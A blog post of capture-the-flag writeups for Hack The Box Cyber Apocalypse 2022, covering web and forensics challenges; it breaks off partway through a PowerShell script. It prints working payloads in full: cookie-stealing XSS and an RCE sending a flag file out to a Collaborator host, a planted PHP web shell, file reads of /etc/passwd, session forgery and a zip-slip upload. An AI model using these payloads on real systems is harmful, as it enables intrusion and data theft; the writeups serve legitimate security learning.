Hack The Box - Cyber Apocalypse 2022 Writeups

Mukarram Khalid • May 22, 2022

ctf htb

If you're wondering what procrastination looks like, take a look at the publish dates of this and the last blog posts. It's sad that I haven't posted anything on my blog in 5 years, even though I have so much more to share and blog about. So, from today onwards, I'll try to write more regularly. I spent some time on Hack the Box - Cyber Apocalypse CTF 2022 and solved some very interesting challenges. So let's break my 5 years streak with the writeups of some of the challenges that I solved in Hack the Box - Cyber Apocalypse CTF 2022.

I solved 11 challenges during the event. I couldn't spend much time and downloaded the other web, binary, and reversing challenges so that I can try them out later in my local environment. So, I'll keep updating this blog post if I solve more challenges.

Web - Kryptos Support

This challenge does not come with the source code so we would have to use the good ol' black-box methodology. We see a form to create tickets and an option to log in to the back-end.

Create Tickets

This is what the tickets API call looks like.

Create Tickets API

It says that the admin will review the ticket. So it seems like it could be a server-side blind cross-site scripting. Let's try to get a hit on the burp collaborator using the following payload.

POST /api/tickets/add HTTP/1.1
Host: 165.22.119.112:30728
Content-Length: 87
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://165.22.119.112:30728
Referer: http://165.22.119.112:30728/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"message":"'\"><svg\/onload=fetch`\/\/1oqhst07zlyky20zwylc1z03puvlja\\.oastify.com`>"}

We get a hit.

Hit on Burp Collaborator

Let’s try to get the cookies.

POST /api/tickets/add HTTP/1.1
Host: 165.22.119.112:30728
Content-Length: 111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://165.22.119.112:30728
Referer: http://165.22.119.112:30728/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"message":"'\"><svg\/onload=fetch('\/\/1oqhst07zlyky20zwylc1z03puvlja.oastify.com\/'+btoa(document.cookie))>"}

Received Cookie on Burp Collaborator

Base64 decoding the data.

session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1vZGVyYXRvciIsInVpZCI6MTAwLCJpYXQiOjE2NTI3MjEwOTd9.VUjcqrLUMkA6MviDb6rqVQhcO71sCd_5uFsONnH8qaM

We can use this cookie in our browser. Clicking on the backend link takes us to the login page. So we need to find an authenticated endpoint. Luckily, we see an authenticated endpoint in a JavaScript file. After successful login, it redirects the user to /tickets endpoint.

Authenticated Endpoint

Let's go to that endpoint with the session cookie set. By the way, our session cookie decodes to this.

{"username":"moderator","uid":100,"iat":1652721097}

There's nothing much we see on the tickets page except our payloads and one message. There's also a settings button.

Moderator Dashboard

In settings, we can change the password without knowing the old password.

Change Password Page

This is what the change password request looks like.

Change Password Request

It accepts a uid. There’s probably an IDOR here that would allow us to change the password of the administrator i.e. uid equal to 1. Let's try.

Changing Admin Password

It works. Let's try to log in to the admin account with username admin and password 123. We see the flag.

Flag

Web - BlinkerFluids

We have the source code of the challenge. The first thing to notice is that in package.json, it uses md-to-pdf version 4.1.0.

Version

Looking for known exploits, we come across this snyk post. It says that all versions less than 5.0 have an RCE. Apparently, we can inject JavaScript code in the markdown and it would get executed while rendering to PDF. We have the following request to generate the PDF.

POST /api/invoice/add HTTP/1.1
Host: 64.227.37.154:30077
Content-Length: 30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/json
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"markdown_content":"test123"}

The payload looks as follows.

---jsn((require("child_process")).execSync("id"))n---RCE

After a few hits and trials, it seems like we cannot get a reverse shell. However, we can read our flag and write the output somewhere which can be accessed over the public URL. In the code, we see it's writing PDF files to a directory accessible over HTTP.

MakePDF Function

Let's write our flag in there.

POST /api/invoice/add HTTP/1.1
Host: 64.227.37.154:30077
Content-Length: 119
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/json
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"markdown_content":"---js\n((require('child_process')).execSync('cat /flag.txt > static/invoices/test.txt'))\n---RCE"}

It works.

Flag

Web - Amidst Us

We have the Python source code of the application. We see that the application uses Pillow version 8.4.0.

Pillow Version

Looking for public exploits, we come across this snyk post, which says that all versions below 9.0.0 have a code execution vulnerability. It links to this GitHub pull request.

In the source code, we see that we can supply the input parameter background. Which would then be passed to the vulnerable function ImageMath.eval().

Make Alpha Function

This is what the regular API call looks like from the application.

POST /api/alphafy HTTP/1.1
Host: 165.22.119.112:32389
Content-Length: 13955
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://165.22.119.112:32389
Referer: http://165.22.119.112:32389/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"image":"iVBORw0KGgoAAAANSUhEUg...","background":[255,255,255]}

Using the following payload, we get the hit on our burp collaborator even though the application returned 400 BAD REQUEST.

POST /api/alphafy HTTP/1.1
Host: 165.22.119.112:32389
Content-Length: 14028
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://165.22.119.112:32389
Referer: http://165.22.119.112:32389/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"image":"iVBORw0KGgoAAAANSUhEUgAAAOsAAADWCAM...","background":["__import__('os').system('wget mf52jersq6p5pnrknjcxskrogfm5au.oastify.com')",255,255]}

Getting Hit On Burp Collaborator

Let's use the following payload to get the flag.

POST /api/alphafy HTTP/1.1
Host: 165.22.119.112:32389
Content-Length: 14049
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://165.22.119.112:32389
Referer: http://165.22.119.112:32389/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"image":"iVBORw0KGgoAAAANSUhEUgAAAOsAA...","background":["__import__('os').system('wget \"mf52jersq6p5pnrknjcxskrogfm5au.oastify.com/$(cat /flag.txt)\"')",255,255]}

It works.

Flag

Web - Intergalactic Post

We have the PHP source code. We can see an SQL injection issue right away.

SQL Injection

There's also a hint to /admin but nothing much about it.

Admin Route

This is what the application looks like.

Web Application

Let's submit the subscription request.

Subscription Request

The email field would be a little hard to exploit because of the filter.

Email Filter

However, we can also exploit using the X-Forwarded-For header and there’s no filter on it.

Vulnerable X-Forwarded-For Header

There’s definitely a blind SQL Injection here because the following payload returns the response in two seconds.

POST /subscribe HTTP/1.1
Host: 178.62.73.26:31860
X-Forwarded-For: 127.0.0.1'*UPPER(HEX(RANDOMBLOB(100000000/2)))*'
Content-Length: 19
Origin: http://178.62.73.26:31860
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

[email protected]

If we change 100000000 to 200000000, the time increases. Let's copy the request over to Kali and exploit using SQLMap.

POST /subscribe HTTP/1.1
Host: 178.62.73.26:31860
X-Forwarded-For: 127.0.0.1*
Content-Length: 19
Origin: http://178.62.73.26:31860
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

[email protected]
sqlmap -r req.txt --dbms=SQLITE --risk=3 --level=3 --threads=10

It finds the time-based blind injection. Let's get the tables. In SQLite, we pull tables directly and not databases.

sqlmap -r req.txt --dbms=SQLITE --risk=3 --level=3 --threads=10 --tables

The SQLMap failed because the application started responding with a 502 Bad Gateway error.

Maybe this is not the right way. Next, I should analyze the routing logic and see if there's any bug there. Or maybe try needle because SQLmap is not working as expected.

So I returned back to this challenge after some break and started looking into time-based SQL injection in the X-Forwarded-For header. It turns out, we can run stacked queries here. And the reason why we can run stacked queries is super weird. I was randomly going through a few articles and I came across this stack overflow question.

Stackoverflow Answer

And this would work because, in our code, we don't utilize the return output of the SQL query.

Not Utilizing Query Output

In SQLite, stacked queries can be very troublesome because if I can run stacked queries, I can create DB files on disk with .php extension and insert a PHP shell in the table.

In the following payload, I'm doing exactly that. The last query is just to create some delay so that I know if the whole payload has been executed successfully.

POST /subscribe HTTP/1.1
Host: 165.22.125.212:30396
X-Forwarded-For: 127.0.0.1',''); ATTACH DATABASE '/www/lol.php' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>"); select 1 where 1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(200000000/2))));-- -
Content-Length: 21
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://165.22.125.212:30396
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://165.22.125.212:30396/?success=true&msg=Email%20subscribed%20successfully!
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

email=test%40test.com

We know that /www is writeable because, in Dockerfile, we can see the following.

Writable Directory

Once the payload gets executed, we can visit lol.php in the browser and execute our command.

Flag

Web - Mutation Lab

We don't have the source code for this challenge. By exploring the application manually, we see that we can convert SVG to PNG by clicking these buttons.

SVG To PNG

This is what the API request looks like.

POST /api/export HTTP/1.1
Host: 46.101.27.51:32612
Content-Length: 274
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://46.101.27.51:32612
Referer: http://46.101.27.51:32612/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: session=eyJ1c2VybmFtZSI6Im1ha21hbiJ9; session.sig=qBFbIMhot2JtejQDoc_84EE_pYE
Connection: close

{"svg":"__SVG_DATA_HERE__"}

If we provide null or malformed JSON, we get the stack trace.

Stack Trace

From the stack trace, we can see that the application uses the convert-svg-core module to convert SVG data to PNG. A quick google search shows that this module is vulnerable to path traversal which would allow us to read files.

To view the /etc/passwd file, we can use the following payload.

POST /api/export HTTP/1.1
Host: 46.101.27.51:32612
Content-Length: 273
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://46.101.27.51:32612
Referer: http://46.101.27.51:32612/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: session=eyJ1c2VybmFtZSI6Im1ha21hbiJ9; session.sig=qBFbIMhot2JtejQDoc_84EE_pYE
Connection: close

{"svg":"<svg-dummy></svg-dummy><iframe src=\"file:///etc/passwd\" width=\"100%\" height=\"1000px\"></iframe><svg viewBox=\"0 0 240 80\" height=\"1000\" width=\"1000\" xmlns=\"http://www.w3.org/2000/svg\"><text x=\"0\" y=\"0\" class=\"Rrrrr\" id=\"demo\">data</text></svg>"}

It returns the path of the PNG file which is basically the /etc/passwd file converted to an image.

Passwd File

We don't have /flag.txt so we probably need to read the source code to find other vulnerabilities. Let's start with /app/index.js.

Index File

Let's read the SESSION_SECRET_KEY from the /app/.env file.

Env File

Let's check /app/routes/index.js.

Routes File

So, we can get the flag if we sign in as an Administrator, which should be easy because we already have the secret key. The application uses cookie-session to create session cookies. This module creates two cookies. The first has the session data.

session=eyJ1c2VybmFtZSI6Im1ha21hbiJ9

It’s a base64 encoded string of the JSON data.

{"username":"makman"}

The second cookie is the signature to validate the actual session cookie with the session data.

session.sig=qBFbIMhot2JtejQDoc_84EE_pYE

In this case, we simply need to change the username to admin, create the base64 encoded session cookie, and generate the signature using the SESSION_SECRET_KEY. This is the new session cookie.

session=eyJ1c2VybmFtZSI6ImFkbWluIn0=

To generate the signature, we can create a small nodejs application and set the cookies using the cookie-session module.

var cookieSession = require('cookie-session')
var express = require('express')

var app = express()

app.set('trust proxy', 1)

app.use(cookieSession({
  name: 'session',
  keys: ['5921719c3037662e94250307ec5ed1db']
}))

app.get('/', function (req, res, next) {
  req.session.username = 'admin'

  res.end('cookie set')
})

app.listen(3000)

Let’s install the dependencies and run the application.

npm init
npm install express
npm install cookie-session
node index.js

We can issue the following curl request to see the cookies.

curl -i 127.0.0.1:3000

It returns the following response.

HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0=; path=/; httponly
Set-Cookie: session.sig=EYdvy2mhVoEznETyhYjNYFFZM8o; path=/; httponly
Date: Thu, 19 May 2022 03:32:58 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 10

cookie set

Let's use the session and session.sig cookies on the actual target website and visit the /dashboard endpoint. We see the flag.

Flag

Web - Acnologia Portal

This was a very interesting challenge and the last one I solved. I was super close but I couldn't figure out the last piece. Then suddenly, it clicked when there were only 10 minutes left. I submitted the flag only 2 minutes before the CTF end time.

We have the source code of the challenge which is a Python flask application. This is what the application looks like.

Web Application

The application allows us to submit reports.

Submit Reports

This is what the API request looks like.

POST /api/firmware/report HTTP/1.1
Host: 159.65.89.199:32726
Content-Length: 749
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://159.65.89.199:32726
Referer: http://159.65.89.199:32726/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: session=69422cba-2f90-4923-9324-3c3af56d002f
Connection: close

{"module_id":"1","issue":"test"}

And from the source code, there are two interesting functions.

Report Issue Function

The migrate_db() function simply wipes out the whole database and re-initializes it with test data. So, we would have to register a new account and log in again every time we hit this endpoint. The visit report function starts a chrome instance, authenticates as administrator, and reviews our submitted report.

Visit Report Function

So there's probably a stored XSS in the /review endpoint. The review.html view prints our issue details with a safe filter.

Safe Filter

The Flask framework uses Jinja templating engine. As per the documentation, the safe filter marks the string as safe which means that Jinja won't escape it automatically.

So there's clearly a stored XSS that would get triggered by the administrator. So far, it looks pretty simple, right? Well, it's not.

From the docker config file and a quick search through the code, it's obvious that we need some sort of RCE or file read vulnerability to get the flag because the code doesn't print the flag anywhere. The flag exists in the topmost / directory of the file system. So, the question is, What is that an admin can do, which would retrieve the flag?

There's another API endpoint /firmware/upload which is only accessible by an administrator. It calls extract_firmware() function on the uploaded file.

Firmware Update Function

This function expects the uploaded file to be a G-Zipped tarball .tar.gz. It creates a directory with a random name in the upload directory application/static/firmware_extract, and extracts the contents of the tarball in it.

Extract Firmware Function

Well, this looks like a typical zip slip vulnerability. The application doesn't validate the contents of our uploaded tarball, which means we can upload files anywhere on the filesystem using directory traversal.

The idea is that we create a tarball with a file ../../../../../../some/where/test.txt and test.txt would get uploaded to the /some/where/ directory if we have the write-permissions there. Now, the next question would be, how do we exploit this behavior to retrieve the flag?

What if we write a symlink (let's say test.txt) in the static/firmware_extract/ directory pointing to /flag.txt. And then we can just access the flag over the URL http://__TARGET__/static/firmware_extract/test.txt. To test this, let's create a symlink test.txt pointing to /flag.txt.

ln -s /flag.txt test.txt

Next, we can easily create a tar.gz file with evilarc, which automatically appends a directory traversal sequence ../../../../../ to the archived file.

python2 evilarc.py test.txt  -f evil.tar.gz -o unix -p 'app/application/static/firmware_extract/'

Next, we need to craft a stored XSS payload with this evil.tar.gz file hardcoded in it and make a server-side ajax call to /firmware/upload. Another challenge here is that we need to convert our evil.tar.gz to a text representation of blob to include it in our payload. I used the following HTML file to do this.

<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width">
    <title>File & Blob Convertion</title>
    <script
        src="https://cdnjs.cloudflare.com/ajax/libs/javascript-canvas-to-blob/3.4.0/js/canvas-to-blob.min.js"></script>
</head>

<body>
    Upload <input type="file" id="upload" />
    <img id="display" src="" />
</body>

<script>
    document.getElementById("upload").onchange = function (e) {
        var file = document.getElementById("upload").files[0];
        var reader = new FileReader();
        reader.onload = function () {
            console.log(btoa(reader.result));
            document.getElementById("display").src = reader.result;

            var blob = window.dataURLtoBlob(reader.result);
            console.log(blob);
        };
        reader.readAsDataURL(file);
    };
</script>

</html>

Creating Blob

Finally, this is what our XSS payload looks like.

<script>
    async function uploadFile() {
        var blob_url = atob('ZGF0YTphcHBsaWNhdGlvbi9nemlwO2Jhc2U2NCxINHNJQ0JvOGhtSUMvMlYyYVd3eUxuUmhjZ0R0ejAwS2d6QVFodUVjeFJNa0p2N2tPQ1dJbGxEYlNweFNqMjljQ0YwVVhaVHUzb2NadnNVTUE2TzEwZDhxVE5QV1kreUN4T2ZEekpLek0wTk05M2RJL2FWZkpJVk9qUFN6YUZsRUhTZ3o3LzJXMWpmbForNlVyVjF0NjZxeFRhdEsxN3EyVW9Vend4aXVaOWQvOU1xZnBhSlF0ekRHbzcyeitmN0luZ0FBQUFBQUFBQUFBQUFBQUFBQS9ORUtoa1hhY0FBb0FBQT0=');
        var blob = await fetch(blob_url).then(r => r.blob());
        var xhr = new XMLHttpRequest();
        xhr.open('POST', 'http://127.0.0.1:1337/api/firmware/upload', true);
        xhr.withCredentials = true;

        var formData = new FormData();
        formData.append('file', blob, 'evil.tar.gz');

        xhr.onload = function (e) {
            console.log("File uploading completed!");
        };

        console.log("File uploading started!");
        xhr.send(formData);
    }

    uploadFile();
</script>

We can minify it to make it smaller.

<script>async function uploadFile(){var e=atob("ZGF0YTphcHBsaWNhdGlvbi9nemlwO2Jhc2U2NCxINHNJQ0JvOGhtSUMvMlYyYVd3eUxuUmhjZ0R0ejAwS2d6QVFodUVjeFJNa0p2N2tPQ1dJbGxEYlNweFNqMjljQ0YwVVhaVHUzb2NadnNVTUE2TzEwZDhxVE5QV1kreUN4T2ZEekpLek0wTk05M2RJL2FWZkpJVk9qUFN6YUZsRUhTZ3o3LzJXMWpmbForNlVyVjF0NjZxeFRhdEsxN3EyVW9Vend4aXVaOWQvOU1xZnBhSlF0ekRHbzcyeitmN0luZ0FBQUFBQUFBQUFBQUFBQUFBQS9ORUtoa1hhY0FBb0FBQT0="),a=await fetch(e).then(e=>e.blob()),t=new XMLHttpRequest;t.open("POST","http://127.0.0.1:1337/api/firmware/upload",!0),t.withCredentials=!0;var F=new FormData;F.append("file",a,"test.tar.gz"),t.onload=function(e){},t.send(F)}uploadFile();</script>

Let's send the payload to the /firmware/report endpoint.

Sending Payload

We see our flag as expected.

Flag

Rabbit Hole

There was a point in this challenge where I went deep into a rabbit hole only because the environment where I was testing this code, was configured a little differently than the actual target environment. Usually, when I'm testing some code and it's deployed in my local environment, I enable the debug mode. Which is exactly what I did in this case. I enabled the debug mode in run.py by changing debug to True.

Debug Mode

So, this happened when I could write files anywhere in the /app directory. My first thought was that I would just overwrite the routes.py file and modify one of the routes to execute commands.

I made a quick POC, tested it in my local environment and everything worked perfectly. However, when I tried the same thing on the actual target, it didn't work. The application never executed the new code from the routes.py file.

I finally realized that the flask application requires a restart in order to use the new code. It was only working in my test environment because the debug was set to True which allows the application to auto-reload in case of code change. I quickly verified in the logs that the local application (in debug mode) was indeed restarting on its own.

Auto Reload

Forensics - Puppeteer

We get a bunch of windows event log .evtx files and we need to find a compromise. We can use this Python tool to convert all .evtx files to XML. I'm not very good with Bash so I’ll just use some search-replace brilliance to create the following commands.

# Start logging to file
script

# Convert all event logs to xml
evtx_dump.py Application.evtx
evtx_dump.py HardwareEvents.evtx
evtx_dump.py Internet Explorer.evtx
evtx_dump.py Key Management Service.evtx
# ...SNIP...
# ...SNIP...
evtx_dump.py Security.evtx
evtx_dump.py Setup.evtx
evtx_dump.py System.evtx
evtx_dump.py Windows PowerShell.evtx

# Turn off logging
exit

It has created a huge file with all the XML output. Let's see if I can just eyeball it. The compromise would have to be via PowerShell. The PowerShell scripts can be found in the logs using ScriptBlockText. There are only 3 instances. One of them looks interesting.

[byte[]] $stage1 = 0x99, 0x85, 0x93, 0xaa, 0xb3, 0xe2, 0xa6, 0xb9, 0xe5, 0xa3, 0xe2, 0x8e, 0xe1, 0xb7, 0x8e, 0xa5, 0xb9, 0xe2, 0x8e, 0xb3;

[byte[]] $stage2 = 0xac, 0xff, 0xff, 0xff, 0xe2, 0xb2, 0xe0, 0xa5, 0xa2, 0xa4, 0xbb, 0x8e, 0xb7, 0xe1, 0x8e, 0xe4, 0xa5, 0xe1, 0xe1;

# .. SNIP ..

# .. SNIP ..

[array]::Reverse($stage2);

# .. SNIP ..

$stage3 = $stage1 + $stage2;

# .. SNIP ..

#Unpack Special Orders!
for($i=0;$i -lt $stage3.count;$i++){

    $stage3[$i] = $stage3[$i] -bxor 0xd1;

}

So it's very likely that $stage3 is the flag. Let's change this PowerShell script a little to print the flag.

[byte[]] $stage1 = 0x99, 0x85, 0x93, 0xaa, 0xb3, 0xe2, 0xa6, 0xb9, 0xe5, 0xa3, 0xe2, 0x8e, 0xe1, 0xb7, 0x8e, 0xa5, 0xb9, 0xe2, 0x8e, 0xb3;

[byte[]] $stage2 = 0xac, 0xff, 0xff, 0xff, 0xe2, 0xb2, 0xe0, 0xa5, 0xa2, 0xa4, 0xbb, 0x8e, 0xb7, 0xe1, 0x8e, 0xe4, 0xa5, 0xe1, 0xe1;

[array]::Reverse($stage2);

$stage3 = $stage1 + $stage2;

for($i=0;$i -lt $stage3.count;$i++){

    $stage3[$i] = $stage3[$i] -bxor 0xd1;

}

# At this point $stage3 is an array containing decimal numbers
# Let's convert each element to ASCII
$stage3 = $stage3.ForEach([char]);

# Joining the elements to make a string
$flag = $stage3 -join '';

# Print
echo $flag;

We can execute it with Try It Online service. We get the flag.

Executing Powershell Code

Forensics - Golden Persistence

An NTUSER.DAT file has been shared with us. We need to figure out how the attackers are keeping persistent access. Let's load this in Registry Explorer.

We see a weird encoded PowerShell code being executed in registry key SOFTWARE\Microsoft\Windows\CurrentVersion\Run.

Encoded Powershell Code

This is what the Base64 decoded version looks like.

function encr {
    param(
        [Byte[]]$data,
        [Byte[]]$key
      )

    [Byte[]]$buffer = New-Object Byte[] $data.Length
    $data.CopyTo($buffer, 0)

    [Byte[]]$s = New-Object Byte[] 256;
    [Byte[]]$k = New-Object Byte[] 256;

    for ($i = 0; $i -lt 256; $i++)
    {
        $s[$i] = [Byte]$i;
        $k[$i] = $key[$i % $key.Length];
    }

    $j = 0;
    for ($i = 0; $i -lt 256; $i++)
    {
        $j = ($j + $s[$i] + $k[$i]) % 256;
        $temp = $s[$i];
        $s[$i] = $s[$j];
        $s[$j] = $temp;
    }

    $i = $j = 0;
    for ($x = 0; $x -lt $buffer.Length; $x++)
    {
        $i = ($i + 1) % 256;
        $j = ($j + $s[$i]) % 256;
        $temp = $s[$i];
        $s[$i] = $s[$j];
        $s[$j] = $temp;
        [int]$t = ($s[$i] + $s[$j]) % 256;
        $buffer[$x] = $buffer[$x] -bxor $s[$t];
    }

    return $buffer
}


function HexToBin {
    param(
    [Parameter(
        Position=0, 
        Mandatory=$true, 
        ValueFromPipeline=$true)
    ]   
    [string]$s)
    $return = @()

    for ($i = 0; $i -lt $s.Length ; $i += 2)
    {
        $return += [Byte]::Parse($s.Substring($i, 2), [System.Globalization.NumberStyles]::HexNumber)
    }

    Write-Output $return
}

[Byte[]]$key = $enc.GetBytes("Q0mmpr4B5rvZi3pS")
$encrypted1 = (Get-ItemProperty -Path HKCU:\SOFTWARE\ZYb78P4s).t3RBka5tL
$encrypted2 = (Get-ItemProperty -Path HKCU:\SOFTWARE\BjqAtIen).uLltjjW
$encrypted3 = (Get-ItemProperty -Path HKCU:\SOFTWARE\AppDataLow\t03A1Stq).uY4S39Da
$encrypted4 = (Get-ItemProperty -Path HKCU:\SOFTWARE\Google\Nv50zeG).Kb19fyhl
$encrypted5 = (Get-ItemProperty -Path HKCU:\AppEvents\Jx66ZG0O).jH54NW8C
$encrypted = "$($encrypted1)$($encrypted2)$($encrypted3)$($encrypted4)$($encrypted5)"
$enc = [System.Text.Encoding]::ASCII
[Byte[]]$data = HexToBin $encrypted
$DecryptedBytes = encr $data $key
$DecryptedString = $enc.GetString($DecryptedBytes)
$DecryptedString|iex

So what this code does is that it fetches a few random values from different registry keys and decrypts them. Let's populate these values manually and decrypt them. Here’s the full encrypted data.

F844A6035CF27CC4C90DFEAF579398BE6F7D5ED10270BD12A661DAD04191347559B82ED546015B07317000D8909939A4DA7953AED8B83C0FEE4EB6E120372F536BC5DC39CC19F66A5F3B2E36C9B810FE7CC4D9CE342E8E00138A4F7F5CDD9EED9E09299DD7C6933CF4734E12A906FD9CE1CA57D445DB9CABF850529F5845083F34BA1C08114AA67EB979D36DC3EFA0F62086B947F672BD8F966305A98EF93AA39076C3726B0EDEBFA10811A15F1CF1BEFC78AFC5E08AD8CACDB323F44B4DD814EB4E244A153AF8FAA1121A5CCFD0FEAC8DD96A9B31CCF6C3E3E03C1E93626DF5B3E0B141467116CC08F92147F7A0BE0D95B0172A7F34922D6C236BC7DE54D8ACBFA70D184AB553E67C743BE696A0AC80C16E2B354C2AE7918EE08A0A3887875C83E44ACA7393F1C579EE41BCB7D336CAF8695266839907F47775F89C1F170562A6B0A01C0F3BC4CB

We can modify the PowerShell script a little to print the decrypted text.

function encr {
    param(
        [Byte[]]$data,
        [Byte[]]$key
      )

    [Byte[]]$buffer = New-Object Byte[] $data.Length
    $data.CopyTo($buffer, 0)

    [Byte[]]$s = New-Object Byte[] 256;
    [Byte[]]$k = New-Object Byte[] 256;

    for ($i = 0; $i -lt 256; $i++)
    {
        $s[$i] = [Byte]$i;
        $k[$i] = $key[$i % $key.Length];
    }

    $j = 0;
    for ($i = 0; $i -lt 256; $i++)
    {
        $j = ($j + $s[$i] + $k[$i]) % 256;
        $temp = $s[$i];
        $s[$i] = $s[$j];
        $s[$j] = $temp;
    }

    $i = $j = 0;
    for ($x = 0; $x -lt $buffer.Length; $x++)
    {
        $i = ($i + 1) % 256;
        $j = ($j + $s[$i]) % 256;
        $temp = $s[$i];
        $s[$i] = $s[$j];
        $s[$j] = $temp;
        [int]$t = ($s[$i] + $s[$j]) % 256;
        $buffer[$x] = $buffer[$x] -bxor $s[$t];
    }

    return $buffer
}

function HexToBin {
    param(
    [Parameter(
        Position=0, 
        Mandatory=$true, 
        ValueFromPipeline=$true)
    ]   
    [string]$s)
    $return = @()

    for ($i = 0; $i -lt $s.Length ; $i += 2)
    {
        $return += [Byte]::Parse($s.Substring($i, 2), [System.Globalization.NumberStyles]::HexNumber)
    }

    Write-Output $return
}

$enc = [System.Text.Encoding]::ASCII

[Byte[]]$key = $enc.GetBytes("Q0mmpr4B5rvZi3pS")

$encrypted = "F844A6035CF27CC4C90DFEAF579398BE6F7D5ED10270BD12A661DAD04191347559B82ED546015B07317000D8909939A4DA7953AED8B83C0FEE4EB6E120372F536BC5DC39CC19F66A5F3B2E36C9B810FE7CC4D9CE342E8E00138A4F7F5CDD9EED9E09299DD7C6933CF4734E12A906FD9CE1CA57D445DB9CABF850529F5845083F34BA1C08114AA67EB979D36DC3EFA0F62086B947F672BD8F966305A98EF93AA39076C3726B0EDEBFA10811A15F1CF1BEFC78AFC5E08AD8CACDB323F44B4DD814EB4E244A153AF8FAA1121A5CCFD0FEAC8DD96A9B31CCF6C3E3E03C1E93626DF5B3E0B141467116CC08F92147F7A0BE0D95B0172A7F34922D6C236BC7DE54D8ACBFA70D184AB553E67C743BE696A0AC80C16E2B354C2AE7918EE08A0A3887875C83E44ACA7393F1C579EE41BCB7D336CAF8695266839907F47775F89C1F170562A6B0A01C0F3BC4CB"
[Byte[]]$data = HexToBin $encrypted
$DecryptedBytes = encr $data $key
$DecryptedString = $enc.GetString($DecryptedBytes)

echo $DecryptedString;

Let's execute it with Try It Online service. And we get the flag.

Executing Powershell Code

Forensics - Automation

We have a pcap file. We see a very interesting Powershell script.

Encoded Powershell Script

This is what the decoded version looks like.

function Create-AesManagedObject($key, $IV) {
    $aesManaged = New-Object "System.Security.Cryptography.AesManaged"
    $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
    $aesManaged.BlockSize = 128
    $aesManaged.KeySize = 256
    if ($IV) {
        if ($IV.getType().Name -eq "String") {
            $aesManaged.IV = [System.Convert]::FromBase64String($IV)

        }
        else {
            $aesManaged.IV = $IV


        }
    }
    if ($key) {

        if ($key.getType().Name -eq "String") {
            $aesManaged.Key = [System.Convert]::FromBase64String($key)
        }
        else {
            $aesManaged.Key = $key
        }
    }
    $aesManaged
}

function Create-AesKey() {

    $aesManaged = Create-AesManagedObject $key $IV
    [System.Convert]::ToBase64String($aesManaged.Key)
}

function Encrypt-String($key, $unencryptedString) {
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)
    $aesManaged = Create-AesManagedObject $key
    $encryptor = $aesManaged.CreateEncryptor()
